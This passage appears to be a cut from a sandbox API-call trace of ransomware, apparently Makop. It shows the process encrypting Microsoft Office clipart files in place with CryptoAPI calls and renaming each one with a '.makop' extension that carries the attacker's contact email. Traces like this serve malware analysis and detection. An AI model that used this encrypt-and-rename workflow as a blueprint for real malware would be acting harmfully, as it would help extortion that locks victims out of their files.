[0149.957] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.957] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.957] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.957] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.957] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x828, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x828, lpOverlapped=0x0) returned 1 [0149.957] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x830, dwBufLen=0x830 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x830) returned 1 [0149.958] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.958] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x830, lpOverlapped=0x0) returned 1 [0149.958] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.958] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.958] SetEndOfFile (hFile=0xf0) returned 1 [0149.964] GetProcessHeap () returned 0x48a0000 [0149.965] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.965] GetProcessHeap () returned 0x48a0000 [0149.965] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.965] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.965] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.967] CloseHandle (hObject=0xf0) returned 1 [0149.967] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e57d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59e57d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x704e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00416_.WMF", cAlternateFileName="")) returned 1 [0149.967] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF") returned 63 [0149.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.968] GetProcessHeap () returned 0x48a0000 [0149.968] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.968] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.968] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.969] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0149.973] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.973] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.973] GetProcessHeap () returned 0x48a0000 [0149.974] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.974] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.974] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.974] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.974] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.974] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.974] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.975] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.975] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.975] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.975] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.984] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.984] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x704e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x704e, lpOverlapped=0x0) returned 1 [0149.986] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7050, dwBufLen=0x7050 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7050) returned 1 [0149.987] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.987] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7050, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7050, lpOverlapped=0x0) returned 1 [0149.987] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.987] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.987] SetEndOfFile (hFile=0xf0) returned 1 [0149.994] GetProcessHeap () returned 0x48a0000 [0149.994] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.995] GetProcessHeap () returned 0x48a0000 [0149.995] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.995] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.995] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.997] CloseHandle (hObject=0xf0) returned 1 [0149.997] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36491500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36491500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x143c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00423_.WMF", cAlternateFileName="")) returned 1 [0149.997] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF") returned 63 [0149.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.998] GetProcessHeap () returned 0x48a0000 [0149.998] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.998] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.998] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.998] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.002] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.002] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.003] GetProcessHeap () returned 0x48a0000 [0150.003] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.003] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.003] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.003] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.003] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.003] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.003] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.003] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.004] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.004] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.004] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.004] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.004] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x143c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x143c, lpOverlapped=0x0) returned 1 [0150.005] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1440, dwBufLen=0x1440 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1440) returned 1 [0150.006] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.006] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1440, lpOverlapped=0x0) returned 1 [0150.006] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.006] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.006] SetEndOfFile (hFile=0xf0) returned 1 [0150.013] GetProcessHeap () returned 0x48a0000 [0150.013] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.013] GetProcessHeap () returned 0x48a0000 [0150.013] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.013] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.013] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.014] CloseHandle (hObject=0xf0) returned 1 [0150.015] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ef4f00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79ef4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1544, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00444_.WMF", cAlternateFileName="")) returned 1 [0150.015] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF") returned 63 [0150.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.016] GetProcessHeap () returned 0x48a0000 [0150.016] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.016] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.016] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.016] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0150.020] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.020] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.020] GetProcessHeap () returned 0x48a0000 [0150.021] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.021] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.021] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.021] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.021] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.021] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.021] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.021] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.022] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.022] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.023] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.023] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.023] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1544, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1544, lpOverlapped=0x0) returned 1 [0150.025] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1550, dwBufLen=0x1550 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1550) returned 1 [0150.025] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.025] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1550, lpOverlapped=0x0) returned 1 [0150.025] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.025] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.025] SetEndOfFile (hFile=0xf0) returned 1 [0150.032] GetProcessHeap () returned 0x48a0000 [0150.032] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.032] GetProcessHeap () returned 0x48a0000 [0150.032] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.032] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.032] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.033] CloseHandle (hObject=0xf0) returned 1 [0150.033] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf630100, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf630100, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00452_.WMF", cAlternateFileName="")) returned 1 [0150.033] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF") returned 63 [0150.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.036] GetProcessHeap () returned 0x48a0000 [0150.036] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.036] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.036] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.036] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.041] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.041] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.041] GetProcessHeap () returned 0x48a0000 [0150.041] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.041] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.041] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.042] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.042] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 